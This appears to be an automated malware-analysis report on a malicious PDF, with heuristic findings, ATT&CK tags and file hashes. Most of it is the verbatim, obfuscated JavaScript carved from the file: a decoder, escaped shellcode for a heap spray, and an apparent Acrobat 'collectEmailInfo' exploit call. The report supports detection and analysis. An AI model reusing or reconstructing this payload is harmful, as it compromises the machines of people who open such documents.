MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains embedded JavaScript streams, one of which is heavily obfuscated and utilizes an eval() call. This suggests the script is designed to execute arbitrary code. The presence of script obfuscation indicators and the nature of the JavaScript point towards a downloader or dropper functionality. The specific JavaScript file 'javascript_obj0013_001.js' is identified as a suspicious extracted artifact.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
g='subst';i=');}ret';b='yvd.le';n='ngth-1';u='ncb';s=',hij';p='ri;};';q='vd=h';t='byvd.';r='myfvop';m='urn ';j='ring(0';a='th-';x='1);hi';e='jncby';h='ijnc';A+=a+x+e+q+h+t+g+j+s+u+b+n+i+m+r+p; ;eval(A);A='';o=bixp('fDVN');s=bixp('IUATt');u=bixp('pDD');l=bixp('el.m');p=bixp('Yqr');j=bixp('*htgn');z=bixp('r{ )H');y=bixp(' rav');e=bixp('0o0Y');t=bixp('IUATt1');k=bixp('(yarr');i=bixp(' = X');n=bixp('A wen');q=bixp('1N<2');v=bixp('ihw{)H');a=bixp('viI0Vz');f=bixp('0YY');r=bixp('( el');d=bixp('qr(L');h=bixp('k noit');x=bixp('N ,m0o');b=bixp('cnuf;)');A+=y+u+o+i+n+k+b+h+a+d+f+x+t+v+r+p+e+l+j+q+s+z; m=bixp('Yqr =+');g=bixp('er;)2');s=bixp(' = ');f=bixp(',0(g');y=bixp('/HIUA');u=bixp('3S noi');q=bixp(';m0');x=bixp(';m0o0');c=bixp('m0o');o=bixp('o0Y');l=bixp('nirt');j=bixp('tcnuf}');h=bixp('s.m0');z=bixp('sbu');k=bixp('o0YYqr');b=bixp('r nrut');e=bixp('qr}');i=bixp('0YY');w=bixp('Tt1N');v=bixp('YYq');t=bixp(' m0o0');p=bixp('YYq');A+=v+t+m+o+q+e+i+c+s+k+h+z+l+f+w+y+g+b+p+x+j+u; -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0001_000.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0xF | 67 bytes |
SHA-256: 9bef692831552820427df368074e8b56cde1ce69a6ab24b4f8cb87e5f994e6c3 |
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Preview scriptFirst 1,000 lines of the extracted script
this.ZXMDVLGUBYOFVHJXXSEYMFVZIYYDPXLWBKULWGXHUUJPCXZYKXKMYRMRNMRS() |
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javascript_obj0013_001.js |
pdf-javascript-stream | PDF /JS object 13 at offset 0x39D | 8513 bytes |
SHA-256: 7ebe1740e1e26e8a54c8fd536b869298ba6d93c00282b60d47a6f7bedbd2728c |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s). 5 of 11 identifiers look randomly generated (e.g. 'odfcBc'); 23 string-concatenation chain(s) — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
A='';b='ijnc';x='yfvop';g='d.leng';f='tion';c='(hi';d='jncbyv';l='hijn';r='d.leng';a='";w';n='(hijn';o='hile';k='cbyvd';h='cbyv';s=' bixp(';q='){m';p='byvd.c';z='func';w='pri+=h';i='harAt';j='th>0){';e='myfvo';u='ri="';A+=z+f+s+l+k+q+x+u+a+o+c+d+r+j+e+w+b+p+i+n+h+g;
g='subst';i=');}ret';b='yvd.le';n='ngth-1';u='ncb';s=',hij';p='ri;};';q='vd=h';t='byvd.';r='myfvop';m='urn ';j='ring(0';a='th-';x='1);hi';e='jncby';h='ijnc';A+=a+x+e+q+h+t+g+j+s+u+b+n+i+m+r+p;
;eval(A);A='';o=bixp('fDVN');s=bixp('IUATt');u=bixp('pDD');l=bixp('el.m');p=bixp('Yqr');j=bixp('*htgn');z=bixp('r{ )H');y=bixp(' rav');e=bixp('0o0Y');t=bixp('IUATt1');k=bixp('(yarr');i=bixp(' = X');n=bixp('A wen');q=bixp('1N<2');v=bixp('ihw{)H');a=bixp('viI0Vz');f=bixp('0YY');r=bixp('( el');d=bixp('qr(L');h=bixp('k noit');x=bixp('N ,m0o');b=bixp('cnuf;)');A+=y+u+o+i+n+k+b+h+a+d+f+x+t+v+r+p+e+l+j+q+s+z;
m=bixp('Yqr =+');g=bixp('er;)2');s=bixp(' = ');f=bixp(',0(g');y=bixp('/HIUA');u=bixp('3S noi');q=bixp(';m0');x=bixp(';m0o0');c=bixp('m0o');o=bixp('o0Y');l=bixp('nirt');j=bixp('tcnuf}');h=bixp('s.m0');z=bixp('sbu');k=bixp('o0YYqr');b=bixp('r nrut');e=bixp('qr}');i=bixp('0YY');w=bixp('Tt1N');v=bixp('YYq');t=bixp(' m0o0');p=bixp('YYq');A+=v+t+m+o+q+e+i+c+s+k+h+z+l+f+w+y+g+b+p+x+j+u;
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t=bixp('%0b');p=bixp('55u%12');a=bixp('u%6b');h=bixp('09u%6');m=bixp('u%d354');d=bixp('%6bacu');x=bixp('90u');i=bixp('3d3');y=bixp('u%536d');v=bixp('465d');f=bixp('0u%1');l=bixp('d713u%');n=bixp('d7u%d7');r=bixp('%436b');b=bixp('bd4u%');w=bixp('%551');q=bixp('3u%');k=bixp('u%2bd');e=bixp('136b');u=bixp('93u');s=bixp('46bu');z=bixp('u%75');A+=m+e+l+b+h+p+a+y+r+x+n+t+s+f+w+d+u+z+v+q+k+i;
c=bixp('7db');s=bixp('6baeu%');k=bixp('3u%55');z=bixp('4cu%d');f=bixp('%847cu');u=bixp('u%84f');e=bixp('bu%');m=bixp('62cu%1');x=bixp('%5d');w=bixp('u%a');a=bixp('6bu%9');d=bixp('7a6u');n=bixp('u%35d');i=bixp('25u%fd');p=bixp('44d3u');o=bixp('d3d3u%');t=bixp('d355');r=bixp('505');q=bixp('3u%a7d');g=bixp('%20d');v=bixp('4u%');y=bixp('5du%b2');A+=z+i+k+n+t+v+u+r+m+a+y+x+p+o+s+e+q+g+f+d+w+c;
w=bixp('3d3u');o=bixp('20d');s=bixp('6b2du%');a=bixp('d3u%1');m=bixp('d36b');k=bixp('d93');g=bixp('%559');v=bixp('u%d');z=bixp('847cu%');n=bixp('32cu%c');c=bixp('u%c3');l=bixp('6u%b');f=bixp('6e0u%');j=bixp('c6f6');b=bixp('ec6u%');r=bixp('3u%a');u=bixp('e6u%1');p=bixp('613');t=bixp('3u%f6');e=bixp('fcbu%2');h=bixp('u%4');d=bixp('u%764');A+=r+o+z+s+f+e+h+k+a+c+m+b+u+t+g+w+n+v+p+l+d+j;
a=bixp('u%e');w=bixp('u%6');l=bixp('%84e');f=bixp('u%6');e=bixp('eb6du');g=bixp('41cu%');b=bixp('34bu%');r=bixp('u%e6e7');c=bixp('85u%3');i=bixp('3u%bfe');n=bixp('185');t=bixp('bu%53d');z=bixp('u%db60');s=bixp('%d384');m=bixp('185');o=bixp('7u%54');k=bixp('bf3u%');v=bixp('u%e793');u=bixp('485u%3');h=bixp('7ccbu');d=bixp('3u%5');x=bixp('3afu%5');A+=k+w+r+z+s+h+g+f+m+u+d+l+e+b+x+a+v+n+c+o+i+t;
w=bixp('dfu');f=bixp('d384');n=bixp('%87');s=bixp('u%d6');z=bixp('937');q=bixp('667');h=bixp('3u%46e');o=bixp('cu%b');u=bixp('f93u%');i=bixp('d62cu%');l=bixp('e6a6');r=bixp('d6u%e0');g=bixp('bu%');v=bixp('u%eb5');j=bixp('75u%');m=bixp('6u%2');d=bixp('d3u%d0');b=bixp('%b3');t=bixp('cb6u%');k=bixp('c3e6u');x=bixp('5bu%c');p=bixp('6d2u%');A+=q+u+x+d+n+w+r+s+l+i+p+o+v+f+j+b+k+t+m+z+g+h;
x=bixp('b4d1');t=bixp('%3154');f=bixp('b94u%8');g=bixp('498u');u=bixp('c6u%');n=bixp('ff9');q=bixp('38cu');h=bixp('%b6');e=bixp('u%e');p=bixp('6bu%53');i=bixp('e38cu%');m=bixp('04fu%');v=bixp('410u');j=bixp('47c7');c=bixp('d3u%c');s=bixp('2cb');l=bixp('6bu%e');y=bixp('%70');d=bixp('6u%8');k=bixp('u%6');a=bixp('u%b6');z=bixp('7dbu%');A+=n+z+c+y+g+d+s+u+p+h+v+f+k+t+q+l+a+x+i+m+e+j;
j=bixp('u%03e');q=bixp('6022u%');c=bixp('du%');v=bixp('30eu%');t=bixp('3691u%');i=bixp('u%09e');n=bixp('u%7ed7');h=bixp('38d2');z=bixp('3u%cf6');e=bixp('u%e');f=bixp('366');x=bixp('eu%');u=bixp('u%6e2');o=bixp('8fe0');p=bixp('67u%b');a=bixp('6dcc');y=bixp('3u%');r=bixp('bu%84a');d=bixp('fu%945');m=bixp('3u%');b=bixp('3u%70b');l=bixp('56b');A+=y+i+o+m+u+h+x+b+d+z+j+n+a+q+c+r+f+t+v+e+l+p;
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l=bixp('2554u%');f=bixp('4u%159');c=bixp('21u%3');y=bixp('525u%');k=bixp('1u%94d');z=bixp('0u%352');o=bixp('4u%5');j=bixp('4u%5');m=bixp('4d3u%');s=bixp('702');x=bixp('%85f');e=bixp('5u%');b=bixp('u%84');g=bixp('21u%');r=bixp('66b0u%');a=bixp('a4u%72');i=bixp('594u%e');t=bixp('77c');h=bixp('21b5u%');v=bixp('7545');q=bixp('1f4u');u=bixp('6u%d4');A+=r+g+a+u+t+m+i+o+k+s+h+l+y+j+f+x+q+c+b+v+e+z;
c=bixp('%b5d0');j=bixp('20u');d=bixp('f5u');i=bixp('e0u%');o=bixp('d3u');l=bixp('5500');q=bixp('u%d0');h=bixp('%a0d0u');y=bixp('95c5');f=bixp('u%d0d');k=bixp('%e5');a=bixp('0u%d');u=bixp('%80c');z=bixp('5u%');p=bixp('u%959');e=bixp('f0u');m=bixp('%5040');g=bixp('0c0');n=bixp('u%b085');v=bixp('u%45');b=bixp('u%212');w=bixp('0u%f0');A+=b+l+z+u+o+k+j+v+m+d+w+p+n+g+a+f+c+h+e+q+y+i;
u=bixp('e5c0u');y=bixp('40u%');d=bixp('0u%80d');k=bixp('0u%');o=bixp('0b0u');j=bixp('d0u%');m=bixp('%40c5u');x=bixp('c5u%b0');c=bixp('0u%d0');r=bixp('%d0f');a=bixp('0u%4');i=bixp('d0d');g=bixp('%d0');t=bixp('u%d0');q=bixp('u%e0c');b=bixp('d090u%');n=bixp('d0u%d');h=bixp('d0c0u%');p=bixp('%40');e=bixp('0e0');w=bixp('%d0d0');s=bixp('d0d0u');A+=x+p+m+o+n+t+w+s+j+c+r+u+k+d+q+e+a+i+h+b+y+g;
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l=bixp('u = m');t=bixp('0909u');x=bixp('FYE');j=bixp('(Lvi');z=bixp('k = m');a=bixp(';)83x0');r=bixp('0o0Y');e=bixp('Yqr');p=bixp('Yqr');s=bixp('epa');f=bixp('Yqr;)"');o=bixp(' rav');b=bixp('I0Vz');i=bixp('csen');h=bixp('0909u%');y=bixp('%"(');u=bixp('+od');q=bixp('HIUA');d=bixp('0o0Y');w=bixp('oCW( -');k=bixp(' PUxzb');n=bixp('AWV = ');A+=q+n+k+w+x+u+a+o+p+d+l+i+s+y+t+h+f+r+z+b+j+e;
j=bixp('e( = ');e=bixp(';PUxz');g=bixp('=sK');a=bixp('x0 - M');c=bixp('( rof');x=bixp(' ra');d=bixp('fE7A');l=bixp('t1N ,');s=bixp('0004');b=bixp('iYzE');i=bixp('biYz');f=bixp('<sKb');z=bixp('V/)00');u=bixp('bAW');q=bixp('Ex rav');h=bixp('m0o0Y');o=bixp('UAT');v=bixp('Zwpj');k=bixp('v;)HI');m=bixp('x;0');y=bixp('7AZwpj');t=bixp('odfcBc');A+=h+l+o+k+x+v+d+j+t+a+s+z+u+e+c+q+i+g+m+b+f+y;
c=bixp('DTY r');t=bixp('3S{)(u');d=bixp('itcn');a=bixp('WIrb +');z=bixp('UNRCBG');m=bixp('gRD');q=bixp(' no');s=bixp('Q9yQ');b=bixp('[XfDV');k=bixp('CwHPN');f=bixp(' m0o0');p=bixp('sKbiY');e=bixp('av;)(');r=bixp('YYqr');g=bixp(';YTy1');i=bixp('biYzEx');l=bixp(' = ');j=bixp('NpDD');x=bixp('zEx;fE');y=bixp('{ )++');v=bixp(']sK');o=bixp('uf}}');A+=x+p+y+j+b+i+v+l+r+f+a+g+o+d+q+s+m+t+z+e+c+k;
i=bixp('alloC');w=bixp('w;)"');z=bixp('HPNDT');x=bixp('CwHPND');o=bixp('944 < ');q=bixp('TY )25');g=bixp('.Cw');r=bixp('%c0c0');t=bixp('tSb');d=bixp('Y =+ ');b=bixp('t;Cw');u=bixp('htg');l=bixp('enu = ');m=bixp('HPNDT');c=bixp('nel');e=bixp(' = ero');v=bixp('all');n=bixp('pacs');y=bixp('oc.sih');j=bixp('c0c0u');p=bixp('u%"(e');a=bixp('Y(elih');A+=l+n+p+r+j+w+a+z+g+c+u+o+q+x+d+m+b+y+v+t+e+i;
a=bixp('amEtce');b=bixp('bus{(');w=bixp('9yQ};)');s=bixp('ofnIli');m=bixp('RDQ');e=bixp('DTY :g');i=bixp('"" :j');c=bixp(')(ug');n=bixp(';');y=bixp('llo');j=bixp('}Cw');f=bixp('c.b');z=bixp('sm,');v=bixp('HPN');A+=f+y+a+s+b+i+z+e+v+j+w+m+c+n;
;eval(A);
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